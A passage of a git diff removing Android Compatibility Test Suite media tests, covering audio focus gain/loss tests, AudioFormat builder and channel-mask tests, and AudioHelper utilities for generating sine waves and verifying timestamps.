-            am.abandonAudioFocusForTest(focusRequests[FOCUS_SIMULATED], simFocusClientId);
-            am.abandonAudioFocusRequest(focusRequests[FOCUS_UNDER_TEST]);
-            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-        }
-    }
-    //-----------------------------------
-    // Test utilities
-
-    /**
-     * Test focus request and abandon between two focus owners
-     * @param gainType focus gain of the focus owner on top (== 2nd focus requester)
-     */
-    private void doTestTwoPlayersGainLoss(int gainType, AudioAttributes[] attributes,
-            boolean useHandlerInListener) throws Exception {
-        doTestTwoPlayersGainLoss(gainType, attributes, useHandlerInListener,
-                false /*forceDucking*/);
-    }
-
-    /**
-     * Same as {@link #doTestTwoPlayersGainLoss(int, AudioAttributes[], boolean)} with forceDucking
-     *   set to false.
-     * @param gainType
-     * @param attributes
-     * @param useHandlerInListener
-     * @param forceDucking value used for setForceDucking in request for focus requester at top of
-     *   stack (second requester in test).
-     * @throws Exception
-     */
-    private void doTestTwoPlayersGainLoss(int gainType, AudioAttributes[] attributes,
-            boolean useHandlerInListener, boolean forceDucking) throws Exception {
-        final int NB_FOCUS_OWNERS = 2;
-        if (NB_FOCUS_OWNERS != attributes.length) {
-            throw new IllegalArgumentException("Invalid test: invalid number of attributes");
-        }
-        final AudioFocusRequest[] focusRequests = new AudioFocusRequest[NB_FOCUS_OWNERS];
-        final FocusChangeListener[] focusListeners = new FocusChangeListener[NB_FOCUS_OWNERS];
-        final int[] focusGains = { AudioManager.AUDIOFOCUS_GAIN, gainType };
-        int expectedLoss = 0;
-        switch (gainType) {
-            case AudioManager.AUDIOFOCUS_GAIN:
-                expectedLoss = AudioManager.AUDIOFOCUS_LOSS;
-                break;
-            case AudioManager.AUDIOFOCUS_GAIN_TRANSIENT:
-                expectedLoss = AudioManager.AUDIOFOCUS_LOSS_TRANSIENT;
-                break;
-            case AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK:
-                expectedLoss = AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK;
-                break;
-            default:
-                fail("invalid focus gain used in test");
-        }
-        final AudioManager am = new AudioManager(getContext());
-
-        final Handler h;
-        if (useHandlerInListener) {
-            HandlerThread handlerThread = new HandlerThread(TAG);
-            handlerThread.start();
-            h = new Handler(handlerThread.getLooper());
-        } else {
-            h = null;
-        }
-
-        try {
-            for (int i = 0 ; i < NB_FOCUS_OWNERS ; i++) {
-                focusListeners[i] = new FocusChangeListener();
-                final boolean forceDuck = i == NB_FOCUS_OWNERS - 1 ? forceDucking : false;
-                if (h != null) {
-                    focusRequests[i] = new AudioFocusRequest.Builder(focusGains[i])
-                            .setAudioAttributes(attributes[i])
-                            .setOnAudioFocusChangeListener(focusListeners[i], h /*handler*/)
-                            .setForceDucking(forceDuck)
-                            .build();
-                } else {
-                    focusRequests[i] = new AudioFocusRequest.Builder(focusGains[i])
-                            .setAudioAttributes(attributes[i])
-                            .setOnAudioFocusChangeListener(focusListeners[i])
-                            .setForceDucking(forceDuck)
-                            .build();
-                }
-            }
-
-            // focus owner 0 requests focus with GAIN,
-            // then focus owner 1 requests focus with gainType
-            // then 1 abandons focus, then 0 abandons focus
-            int res = am.requestAudioFocus(focusRequests[0]);
-            assertEquals("1st focus request failed",
-                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
-            res = am.requestAudioFocus(focusRequests[1]);
-            assertEquals("2nd focus request failed", AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-            assertEquals("Focus loss not dispatched", expectedLoss,
-                    focusListeners[0].getFocusChangeAndReset());
-            res = am.abandonAudioFocusRequest(focusRequests[1]);
-            assertEquals("1st abandon failed", AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
-            focusRequests[1] = null;
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-            // when focus was lost because it was requested with GAIN, focus is not given back
-            if (gainType != AudioManager.AUDIOFOCUS_GAIN) {
-                assertEquals("Focus gain not dispatched", AudioManager.AUDIOFOCUS_GAIN,
-                        focusListeners[0].getFocusChangeAndReset());
-            } else {
-                // verify there was no focus change because focus user 0 was kicked out of stack
-                assertEquals("Focus change was dispatched", AudioManager.AUDIOFOCUS_NONE,
-                        focusListeners[0].getFocusChangeAndReset());
-            }
-            res = am.abandonAudioFocusRequest(focusRequests[0]);
-            assertEquals("2nd abandon failed", AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
-            focusRequests[0] = null;
-        }
-        finally {
-            for (int i = 0 ; i < NB_FOCUS_OWNERS ; i++) {
-                if (focusRequests[i] != null) {
-                    am.abandonAudioFocusRequest(focusRequests[i]);
-                }
-            }
-            if (h != null) {
-                h.getLooper().quit();
-            }
-        }
-    }
-
-    private @Nullable MediaPlayer createPreparedMediaPlayer(
-            int resid, AudioAttributes aa) throws Exception {
-        final TestUtils.Monitor onPreparedCalled = new TestUtils.Monitor();
-        AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(resid);
-        assertNotNull(afd);
-
-        MediaPlayer mp = new MediaPlayer();
-        mp.setAudioAttributes(aa);
-        try {
-            mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        } finally {
-            afd.close();
-        }
-        mp.setOnPreparedListener(mp1 -> onPreparedCalled.signal());
-        mp.prepare();
-        onPreparedCalled.waitForSignal(MEDIAPLAYER_PREPARE_TIMEOUT_MS);
-        assertTrue(
-                "MediaPlayer wasn't prepared in under " + MEDIAPLAYER_PREPARE_TIMEOUT_MS + " ms",
-                onPreparedCalled.isSignalled());
-        return mp;
-    }
-
-    private static class FocusChangeListener implements OnAudioFocusChangeListener {
-        private final Object mLock = new Object();
-        private int mFocusChange = AudioManager.AUDIOFOCUS_NONE;
-
-        int getFocusChangeAndReset() {
-            final int change;
-            synchronized (mLock) {
-                change = mFocusChange;
-                mFocusChange = AudioManager.AUDIOFOCUS_NONE;
-            }
-            return change;
-        }
-
-        @Override
-        public void onAudioFocusChange(int focusChange) {
-            synchronized (mLock) {
-                mFocusChange = focusChange;
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
deleted file mode 100644
index 07cad2e..0000000
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ /dev/null
@@ -1,310 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.testng.Assert.assertThrows;
-
-import android.media.AudioFormat;
-import android.os.Parcel;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-@NonMediaMainlineTest
-public class AudioFormatTest extends CtsAndroidTestCase {
-
-    // -----------------------------------------------------------------
-    // AUDIOFORMAT TESTS:
-    // ----------------------------------
-
-    // -----------------------------------------------------------------
-    // Builder tests
-    // ----------------------------------
-
-    // Test case 1: Use Builder to duplicate an AudioFormat with all fields supplied
-    public void testBuilderForCopy() throws Exception {
-        final int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_SR = 48000;
-        final int TEST_CONF_POS = AudioFormat.CHANNEL_OUT_5POINT1;
-        // 6ch, like in 5.1 above offset by a randomly chosen number
-        final int TEST_CONF_IDX = 0x3F << 3;
-
-        final AudioFormat formatToCopy = new AudioFormat.Builder()
-                .setEncoding(TEST_ENCODING).setSampleRate(TEST_SR)
-                .setChannelMask(TEST_CONF_POS).setChannelIndexMask(TEST_CONF_IDX).build();
-        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
-
-        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
-        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
-        assertEquals("New AudioFormat has wrong sample rate",
-                TEST_SR, copiedFormat.getSampleRate());
-        assertEquals("New AudioFormat has wrong encoding",
-                TEST_ENCODING, copiedFormat.getEncoding());
-        assertEquals("New AudioFormat has wrong channel mask",
-                TEST_CONF_POS, copiedFormat.getChannelMask());
-        assertEquals("New AudioFormat has wrong channel index mask",
-                TEST_CONF_IDX, copiedFormat.getChannelIndexMask());
-        assertEquals("New AudioFormat has wrong channel count",
-                6, copiedFormat.getChannelCount());
-        assertEquals("New AudioFormat has the wrong frame size",
-                6 /* channels */ * 2 /* bytes per sample */, copiedFormat.getFrameSizeInBytes());
-    }
-
-    // Test case 2: Use Builder to duplicate an AudioFormat with only encoding supplied
-    public void testPartialFormatBuilderForCopyEncoding() throws Exception {
-        final int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
-
-        final AudioFormat formatToCopy = new AudioFormat.Builder()
-                .setEncoding(TEST_ENCODING).build();
-        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
-
-        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
-        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
-        assertEquals("New AudioFormat has wrong encoding",
-                TEST_ENCODING, copiedFormat.getEncoding());
-        // test expected values when none has been set
-        assertEquals("New AudioFormat doesn't report expected sample rate",
-                0, copiedFormat.getSampleRate());
-        assertEquals("New AudioFormat doesn't report expected channel mask",
-                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelMask());
-        assertEquals("New AudioFormat doesn't report expected channel index mask",
-                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelIndexMask());
-    }
-
-    // Test case 3: Use Builder to duplicate an AudioFormat with only sample rate supplied
-    public void testPartialFormatBuilderForCopyRate() throws Exception {
-        final int TEST_SR = 48000;
-
-        final AudioFormat formatToCopy = new AudioFormat.Builder()
-                .setSampleRate(TEST_SR).build();
-        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
-
-        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
-        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
-        assertEquals("New AudioFormat has wrong sample rate",
-                TEST_SR, copiedFormat.getSampleRate());
-        // test expected values when none has been set
-        assertEquals("New AudioFormat doesn't report expected encoding",
-                AudioFormat.ENCODING_INVALID, copiedFormat.getEncoding());
-        assertEquals("New AudioFormat doesn't report expected channel mask",
-                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelMask());
-        assertEquals("New AudioFormat doesn't report expected channel index mask",
-                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelIndexMask());
-    }
-
-    // Test case 4: Use Builder to duplicate an AudioFormat with only channel mask supplied
-    public void testPartialFormatBuilderForCopyChanMask() throws Exception {
-        final int TEST_CONF_POS = AudioFormat.CHANNEL_OUT_5POINT1;
-
-        final AudioFormat formatToCopy = new AudioFormat.Builder()
-                .setChannelMask(TEST_CONF_POS).build();
-        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
-
-        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
-        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
-        assertEquals("New AudioFormat has wrong channel mask",
-                TEST_CONF_POS, copiedFormat.getChannelMask());
-        // test expected values when none has been set
-        assertEquals("New AudioFormat doesn't report expected encoding",
-                AudioFormat.ENCODING_INVALID, copiedFormat.getEncoding());
-        assertEquals("New AudioFormat doesn't report expected sample rate",
-                0, copiedFormat.getSampleRate());
-        assertEquals("New AudioFormat doesn't report expected channel index mask",
-                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelIndexMask());
-    }
-
-
-    // Test case 5: Use Builder to duplicate an AudioFormat with only channel index mask supplied
-    public void testPartialFormatBuilderForCopyChanIdxMask() throws Exception {
-        final int TEST_CONF_IDX = 0x30;
-
-        final AudioFormat formatToCopy = new AudioFormat.Builder()
-                .setChannelIndexMask(TEST_CONF_IDX).build();
-        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
-
-        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
-        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
-        assertEquals("New AudioFormat has wrong channel mask",
-                TEST_CONF_IDX, copiedFormat.getChannelIndexMask());
-        // test expected values when none has been set
-        assertEquals("New AudioFormat doesn't report expected encoding",
-                AudioFormat.ENCODING_INVALID, copiedFormat.getEncoding());
-        assertEquals("New AudioFormat doesn't report expected sample rate",
-                0, copiedFormat.getSampleRate());
-        assertEquals("New AudioFormat doesn't report expected channel mask",
-                AudioFormat.CHANNEL_INVALID, copiedFormat.getChannelMask());
-    }
-
-    // Test case 6: create an instance, marshall it and create a new instance,
-    //      check for equality
-    public void testParcel() throws Exception {
-        final int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_SR = 48000;
-        final int TEST_CONF_POS = AudioFormat.CHANNEL_OUT_5POINT1;
-        // 6ch, like in 5.1 above offset by a randomly chosen number
-        final int TEST_CONF_IDX = 0x3F << 3;
-
-        final AudioFormat formatToMarshall = new AudioFormat.Builder()
-                .setEncoding(TEST_ENCODING).setSampleRate(TEST_SR)
-                .setChannelMask(TEST_CONF_POS).setChannelIndexMask(TEST_CONF_IDX).build();
-        assertNotNull("Failure to create the AudioFormat to marshall", formatToMarshall);
-        assertEquals(0, formatToMarshall.describeContents());
-
-        final Parcel srcParcel = Parcel.obtain();
-        final Parcel dstParcel = Parcel.obtain();
-
-        formatToMarshall.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
-        final byte[] mbytes = srcParcel.marshall();
-        dstParcel.unmarshall(mbytes, 0, mbytes.length);
-        dstParcel.setDataPosition(0);
-        final AudioFormat unmarshalledFormat = AudioFormat.CREATOR.createFromParcel(dstParcel);
-
-        assertNotNull("Failure to unmarshall AudioFormat", unmarshalledFormat);
-        assertEquals("Source and destination AudioFormat not equal",
-                formatToMarshall, unmarshalledFormat);
-    }
-
-    // Test case 7: Check frame size for compressed, float formats.
-    public void testFrameSize() throws Exception {
-        int[] encodings = {
-            AudioFormat.ENCODING_MP3,
-            AudioFormat.ENCODING_AAC_LC,
-            AudioFormat.ENCODING_AAC_HE_V1,
-            AudioFormat.ENCODING_AAC_HE_V2,
-            AudioFormat.ENCODING_OPUS,
-            AudioFormat.ENCODING_MPEGH_BL_L3,
-            AudioFormat.ENCODING_MPEGH_BL_L4,
-            AudioFormat.ENCODING_MPEGH_LC_L3,
-            AudioFormat.ENCODING_MPEGH_LC_L4,
-            AudioFormat.ENCODING_DTS_UHD,
-            AudioFormat.ENCODING_DRA,
-        };
-        for (int encoding : encodings) {
-            final AudioFormat format = new AudioFormat.Builder()
-                .setEncoding(encoding)
-                .setSampleRate(44100)
-                .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
-                .build();
-
-            assertEquals("AudioFormat with encoding " + encoding + " has the wrong frame size",
-                    1, format.getFrameSizeInBytes());
-        }
-
-        final AudioFormat formatPcmFloat = new AudioFormat.Builder()
-            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
-            .setSampleRate(192000)
-            .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
-            .build();
-
-        assertEquals("Float AudioFormat has the wrong frame size",
-            2 /* channels */ * 4 /* bytes per sample */, formatPcmFloat.getFrameSizeInBytes());
-    }
-
-    /**
-     * Check whether the bits in a are all present in b.
-     *
-     * Used for channel position mask verification.
-     */
-    private boolean subsetOf(int a, int b) {
-        return Integer.bitCount(a ^ b) == Integer.bitCount(b) - Integer.bitCount(a);
-    }
-
-    /**
-     * Test case 8: Check validity of channel masks
-     */
-    public void testChannelMasks() throws Exception {
-        // Channel count check.
-        int[][] maskCount = new int[][] {
-                {AudioFormat.CHANNEL_OUT_MONO, 1},
-                {AudioFormat.CHANNEL_OUT_STEREO, 2},
-                {AudioFormat.CHANNEL_OUT_QUAD, 4},
-                {AudioFormat.CHANNEL_OUT_SURROUND, 4},
-                {AudioFormat.CHANNEL_OUT_5POINT1, 6},
-                {AudioFormat.CHANNEL_OUT_5POINT1POINT2, 8},
-                {AudioFormat.CHANNEL_OUT_7POINT1_SURROUND, 8},
-                {AudioFormat.CHANNEL_OUT_7POINT1POINT2, 10},
-                {AudioFormat.CHANNEL_OUT_5POINT1POINT4, 10},
-                {AudioFormat.CHANNEL_OUT_7POINT1POINT2, 10},
-                {AudioFormat.CHANNEL_OUT_7POINT1POINT4, 12},
-                {AudioFormat.CHANNEL_OUT_9POINT1POINT4, 14},
-                {AudioFormat.CHANNEL_OUT_13POINT_360RA, 13},
-                {AudioFormat.CHANNEL_OUT_9POINT1POINT6, 16},
-                {AudioFormat.CHANNEL_OUT_22POINT2, 24},
-        };
-        for (int[] pair : maskCount) {
-            assertEquals("Mask " + Integer.toHexString(pair[0])
-                    + " should have " + pair[1] + " bits set#",
-                    /*expected*/ pair[1], /*actual*/ Integer.bitCount(pair[0]));
-        }
-
-        // Check channel position masks that are a subset of other masks.
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_MONO,
-                AudioFormat.CHANNEL_OUT_STEREO));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_STEREO,
-                AudioFormat.CHANNEL_OUT_QUAD));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_STEREO,
-                AudioFormat.CHANNEL_OUT_SURROUND));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_QUAD,
-                AudioFormat.CHANNEL_OUT_5POINT1));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_5POINT1,
-                AudioFormat.CHANNEL_OUT_5POINT1POINT2));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_5POINT1,
-                AudioFormat.CHANNEL_OUT_5POINT1POINT4));
-        // Note CHANNEL_OUT_5POINT1POINT2 not a subset of CHANNEL_OUT_5POINT1POINT4
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1_SURROUND,
-                AudioFormat.CHANNEL_OUT_7POINT1POINT2));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1_SURROUND,
-                AudioFormat.CHANNEL_OUT_7POINT1POINT4));
-        // Note CHANNEL_OUT_7POINT1POINT2 not a subset of CHANNEL_OUT_7POINT1POINT4
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_5POINT1POINT4,
-                AudioFormat.CHANNEL_OUT_7POINT1POINT4));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1POINT4,
-                AudioFormat.CHANNEL_OUT_22POINT2));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1POINT4,
-                AudioFormat.CHANNEL_OUT_9POINT1POINT4));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_9POINT1POINT4,
-                AudioFormat.CHANNEL_OUT_9POINT1POINT6));
-        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_13POINT_360RA,
-                AudioFormat.CHANNEL_OUT_22POINT2));
-    }
-
-    /**
-     * Test AudioFormat Builder error handling.
-     *
-     * @throws Exception
-     */
-    public void testAudioFormatBuilderError() throws Exception {
-        final int BIGNUM = Integer.MAX_VALUE;
-
-        // Note: setChannelMask() and setChannelIndexMask() are
-        // validated when used, i.e. in AudioTrack and AudioRecord.
-
-        assertThrows(IllegalArgumentException.class, () -> {
-            new AudioFormat.Builder()
-                    .setEncoding(BIGNUM)
-                    .build();
-        });
-
-        // Sample rate out of bounds. These cases caught in AudioFormat.
-        for (int sampleRate : new int[] {-BIGNUM, -1, BIGNUM}) {
-            assertThrows(IllegalArgumentException.class, () -> {
-                new AudioFormat.Builder()
-                        .setSampleRate(sampleRate)
-                        .build();
-            });
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioHelper.java b/tests/tests/media/src/android/media/cts/AudioHelper.java
deleted file mode 100644
index bfed250..0000000
--- a/tests/tests/media/src/android/media/cts/AudioHelper.java
+++ /dev/null
@@ -1,767 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import java.nio.ByteBuffer;
-
-import org.junit.Assert;
-
-import android.annotation.IntRange;
-import android.annotation.NonNull;
-import android.annotation.Nullable;
-import android.media.AudioAttributes;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioRecord;
-import android.media.AudioTimestamp;
-import android.media.AudioTrack;
-import android.os.Looper;
-import android.os.PersistableBundle;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-// Used for statistics and loopers in listener tests.
-// See AudioRecordTest.java and AudioTrack_ListenerTest.java.
-public class AudioHelper {
-
-    // asserts key equals expected in the metrics bundle.
-    public static void assertMetricsKeyEquals(
-            PersistableBundle metrics, String key, Object expected) {
-        Object actual = metrics.get(key);
-        assertEquals("metric " + key + " actual " + actual + " != " + " expected " + expected,
-                expected, actual);
-    }
-
-    // asserts key exists in the metrics bundle.
-    public static void assertMetricsKey(PersistableBundle metrics, String key) {
-        Object actual = metrics.get(key);
-        assertNotNull("metric " + key + " does not exist", actual);
-    }
-
-    // create sine waves or chirps for data arrays
-    public static byte[] createSoundDataInByteArray(int bufferSamples, final int sampleRate,
-            final double frequency, double sweep) {
-        final double rad = 2 * Math.PI * frequency / sampleRate;
-        byte[] vai = new byte[bufferSamples];
-        sweep = Math.PI * sweep / ((double)sampleRate * vai.length);
-        for (int j = 0; j < vai.length; j++) {
-            int unsigned =  (int)(Math.sin(j * (rad + j * sweep)) * Byte.MAX_VALUE)
-                    + Byte.MAX_VALUE & 0xFF;
-            vai[j] = (byte) unsigned;
-        }
-        return vai;
-    }
-
-    public static short[] createSoundDataInShortArray(int bufferSamples, final int sampleRate,
-            final double frequency, double sweep) {
-        final double rad = 2 * Math.PI * frequency / sampleRate;
-        short[] vai = new short[bufferSamples];
-        sweep = Math.PI * sweep / ((double)sampleRate * vai.length);
-        for (int j = 0; j < vai.length; j++) {
-            vai[j] = (short)(Math.sin(j * (rad + j * sweep)) * Short.MAX_VALUE);
-        }
-        return vai;
-    }
-
-    public static float[] createSoundDataInFloatArray(int bufferSamples, final int sampleRate,
-            final double frequency, double sweep) {
-        final double rad = 2 * Math.PI * frequency / sampleRate;
-        float[] vaf = new float[bufferSamples];
-        sweep = Math.PI * sweep / ((double)sampleRate * vaf.length);
-        for (int j = 0; j < vaf.length; j++) {
-            vaf[j] = (float)(Math.sin(j * (rad + j * sweep)));
-        }
-        return vaf;
-    }
-
-    /**
-     * Returns a consecutive bit mask starting from the 0th bit indicating which channels
-     * are active, used for maskArray below.
-     *
-     * @param channelMask the channel mask for audio data.
-     * @param validMask the valid channels to permit (should be a subset of channelMask) but
-     *                  not checked.
-     * @return an integer whose consecutive bits are set for the channels that are permitted.
-     */
-    private static int packMask(int channelMask, int validMask) {
-        final int channels = Integer.bitCount(channelMask);
-        if (channels == 0) {
-            throw new IllegalArgumentException("invalid channel mask " + channelMask);
-        }
-        int packMask = 0;
-        for (int i = 0; i < channels; ++i) {
-            final int lowbit = channelMask & -channelMask;
-            packMask |= (validMask & lowbit) != 0 ? (1 << i) : 0;
-            channelMask -= lowbit;
-        }
-        return packMask;
-    }
-
-    /**
-     * Zeroes out channels in an array of audio data for testing.
-     *
-     * @param array of audio data.
-     * @param channelMask representation for the audio data.
-     * @param validMask which channels are valid (other channels will be zeroed out).  A subset
-     *                  of channelMask.
-     */
-    public static void maskArray(byte[] array, int channelMask, int validMask) {
-        final int packMask = packMask(channelMask, validMask);
-        final int channels = Integer.bitCount(channelMask);
-        int j = 0;
-        for (int i = 0; i < array.length; ++i) {
-            if ((packMask & (1 << j)) == 0) {
-                array[i] = 0;
-            }
-            if (++j >= channels) {
-                j = 0;
-            }
-        }
-    }
-
-    public static void maskArray(short[] array, int channelMask, int validMask) {
-        final int packMask = packMask(channelMask, validMask);
-        final int channels = Integer.bitCount(channelMask);
-        int j = 0;
-        for (int i = 0; i < array.length; ++i) {
-            if ((packMask & (1 << j)) == 0) {
-                array[i] = 0;
-            }
-            if (++j >= channels) {
-                j = 0;
-            }
-        }
-    }
-
-    public static void maskArray(float[] array, int channelMask, int validMask) {
-        final int packMask = packMask(channelMask, validMask);
-        final int channels = Integer.bitCount(channelMask);
-        int j = 0;
-        for (int i = 0; i < array.length; ++i) {
-            if ((packMask & (1 << j)) == 0) {
-                array[i] = 0;
-            }
-            if (++j >= channels) {
-                j = 0;
-            }
-        }
-    }
-
-    /**
-     * Create and fill a short array with complete sine waves so we can
-     * hear buffer underruns more easily.
-     */
-    public static short[] createSineWavesShort(int numFrames, int samplesPerFrame,
-            int numCycles, double amplitude) {
-        final short[] data = new short[numFrames * samplesPerFrame];
-        final double rad = numCycles * 2.0 * Math.PI / numFrames;
-        for (int j = 0; j < data.length;) {
-            short sample = (short)(amplitude * Math.sin(j * rad) * Short.MAX_VALUE);
-            for (int sampleIndex = 0; sampleIndex < samplesPerFrame; sampleIndex++) {
-                data[j++] = sample;
-            }
-        }
-        return data;
-    }
-
-    public static int frameSizeFromFormat(AudioFormat format) {
-        return format.getChannelCount()
-                * format.getBytesPerSample(format.getEncoding());
-    }
-
-    public static int frameCountFromMsec(int ms, AudioFormat format) {
-        return ms * format.getSampleRate() / 1000;
-    }
-
-    public static class Statistics {
-        public void add(double value) {
-            final double absValue = Math.abs(value);
-            mSum += value;
-            mSumAbs += absValue;
-            mMaxAbs = Math.max(mMaxAbs, absValue);
-            ++mCount;
-        }
-
-        public double getAvg() {
-            if (mCount == 0) {
-                return 0;
-            }
-            return mSum / mCount;
-        }
-
-        public double getAvgAbs() {
-            if (mCount == 0) {
-                return 0;
-            }
-            return mSumAbs / mCount;
-        }
-
-        public double getMaxAbs() {
-            return mMaxAbs;
-        }
-
-        private int mCount = 0;
-        private double mSum = 0;
-        private double mSumAbs = 0;
-        private double mMaxAbs = 0;
-    }
-
-    // for listener tests
-    // lightweight java.util.concurrent.Future*
-    public static class FutureLatch<T>
-    {
-        private T mValue;
-        private boolean mSet;
-        public void set(T value)
-        {
-            synchronized (this) {
-                assert !mSet;
-                mValue = value;
-                mSet = true;
-                notify();
-            }
-        }
-        public T get()
-        {
-            T value;
-            synchronized (this) {
-                while (!mSet) {
-                    try {
-                        wait();
-                    } catch (InterruptedException e) {
-                        ;
-                    }
-                }
-                value = mValue;
-            }
-            return value;
-        }
-    }
-
-    // for listener tests
-    // represents a factory for T
-    public interface MakesSomething<T>
-    {
-        T makeSomething();
-    }
-
-    // for listener tests
-    // used to construct an object in the context of an asynchronous thread with looper
-    public static class MakeSomethingAsynchronouslyAndLoop<T>
-    {
-        private Thread mThread;
-        volatile private Looper mLooper;
-        private final MakesSomething<T> mWhatToMake;
-
-        public MakeSomethingAsynchronouslyAndLoop(MakesSomething<T> whatToMake)
-        {
-            assert whatToMake != null;
-            mWhatToMake = whatToMake;
-        }
-
-        public T make()
-        {
-            final FutureLatch<T> futureLatch = new FutureLatch<T>();
-            mThread = new Thread()
-            {
-                @Override
-                public void run()
-                {
-                    Looper.prepare();
-                    mLooper = Looper.myLooper();
-                    T something = mWhatToMake.makeSomething();
-                    futureLatch.set(something);
-                    Looper.loop();
-                }
-            };
-            mThread.start();
-            return futureLatch.get();
-        }
-        public void join()
-        {
-            mLooper.quit();
-            try {
-                mThread.join();
-            } catch (InterruptedException e) {
-                ;
-            }
-            // avoid dangling references
-            mLooper = null;
-            mThread = null;
-        }
-    }
-
-    public static int outChannelMaskFromInChannelMask(int channelMask) {
-        switch (channelMask) {
-            case AudioFormat.CHANNEL_IN_MONO:
-                return AudioFormat.CHANNEL_OUT_MONO;
-            case AudioFormat.CHANNEL_IN_STEREO:
-                return AudioFormat.CHANNEL_OUT_STEREO;
-            default:
-                return AudioFormat.CHANNEL_INVALID;
-        }
-    }
-
-    @CddTest(requirement="5.10/C-1-6,C-1-7")
-    public static class TimestampVerifier {
-
-        // CDD 5.6 1ms timestamp accuracy
-        private static final double TEST_MAX_JITTER_MS_ALLOWED = 6.; // a validity check
-        private static final double TEST_STD_JITTER_MS_ALLOWED = 3.; // flaky tolerance 3x
-        private static final double TEST_STD_JITTER_MS_WARN = 1.;    // CDD requirement warning
-
-        // CDD 5.6 100ms track startup latency
-        private static final double TEST_STARTUP_TIME_MS_ALLOWED = 500.; // error
-        private final double TEST_STARTUP_TIME_MS_WARN;                  // warning
-        private static final double TEST_STARTUP_TIME_MS_INFO = 100.;    // informational
-
-        private static final int MILLIS_PER_SECOND = 1000;
-        private static final long NANOS_PER_MILLISECOND = 1000000;
-        private static final long NANOS_PER_SECOND = NANOS_PER_MILLISECOND * MILLIS_PER_SECOND;
-        private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
-
-        private final String mTag;
-        private final int mSampleRate;
-        private final long mStartFrames; // initial timestamp condition for verification.
-
-        // Running statistics
-        private int mCount = 0;
